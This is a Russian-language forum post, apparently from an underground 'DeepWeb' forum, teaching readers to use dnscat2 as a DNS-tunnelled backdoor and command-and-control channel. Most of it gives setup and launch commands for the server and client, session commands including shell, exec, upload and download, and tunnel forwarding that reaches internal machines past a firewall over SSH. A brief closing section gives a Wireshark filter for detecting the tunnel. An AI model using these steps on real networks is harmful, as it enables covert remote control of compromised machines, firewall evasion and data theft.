✍️ Статья DNSCAT - Backdoor через DNS

The 146X Project Dublikat Web Studio Avram Lincoln AL Service Navigator Knyaz

BlackPope

Команда форума
Модератор DeepWeb ✔️
PR-Group DeepWeb 🔷
Регистрация
27.04.2020
Сообщения
230
dnscat2 - программа для для создания C&C канала, используя DNS. Включает в себя серверную часть, которая написана на Ruby и клиент, написанный на С.

Command and Control сервер - компьютер, контролируемый атакующим, который отправляет команды на скомпрометированную машину.

В чем смысл маскировки трафика под DNS

Часто бывает, что проходу нормального трафика мешает firewall, а резолв имен почти всегда разрешен. Примерную схему можете видеть ниже:

Bt3yR6dGK7Q.jpg


Cкачивание и установкa:

Bash:

sudo apt-get updаte
sudo аpt-get -y instаll ruby-dev git mаke g++
sudo gem install bundler
git clone https://github.com/iagox86/dnscat2.git


либо

sudo аpt-get updаte && sudo аpt-get -y instаll ruby-dev git mаke g++ && sudo gem install bundler && git clone https://github.com/iagox86/dnscat2.git

Установка серверной части:

cd dnscat2/server
bundle instаll


Установка клиентской части:

cd dnscat2/client
make


Тут описаны некоторые ошибки. Если вашей ошибки нет, то пишите в этой теме или загуглите. iagox86/dnscat2

К делу

Запускаем:

Сервер: sudo ruby dnscat2.rb

Клиент: запускаете на удаленной машине.

Сервер

Код:

sudo ruby dnscat2.rb legitdnsserver.com

Клиент

Код:

./build legitdnsserver.com

dnscat2 номер сессии

Код:

sessions -i <номер сессии>

Код:

clear
delay
download
echo
exec
help
listen
ping
quit
set
shell
shutdown
suspend
tunnels
unset
upload
window
windows


Проброс туннеля

Если вам нужен удобный доступ к машинам в локальной сети по SSH, то это очень полезная вещь.

Выбираем сессию и вводим команду:

listen <port> <dest ip>:<ssh port>

Теперь вы можете спокойно подключиться к той машине, которую не видно из вне через ssh.

ssh -P <port> [email protected]

Кстати dnscat2 по умолчанию поддерживает шифрование. Автор говорит, что не гарантирует 100% криптографическую стойкость, но защита есть.

Как обнаружить dnscat2 на машине

Делаем дамп через wireshark и забиваем следующий фильтр:

dns.qry.name.len > 16 and !mdns


16 - просто длина имени DNS домена. Я подбирал вручную, у вас это число может отличаться. Чтобы его подобрать просто смотрите в результат фильтрации.

После этого фильтра могут остаться и нормальные DNS запросы, просто ищите dnscat.

И в информации о пакете ищем dnscat.

Полезные ссылки

https://github.com/iagox86/dnscat2 - Страница dnscat, с его документацией.

https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152 - Про обнаружение DNS туннелей.

P.S возможно в некоторых моментах вылез за рамки раздела "Софт", но это нужно было, чтобы показать функционал.

Всем спасибо за внимание.
 

📌 Золотая реклама

AnonPaste

Верх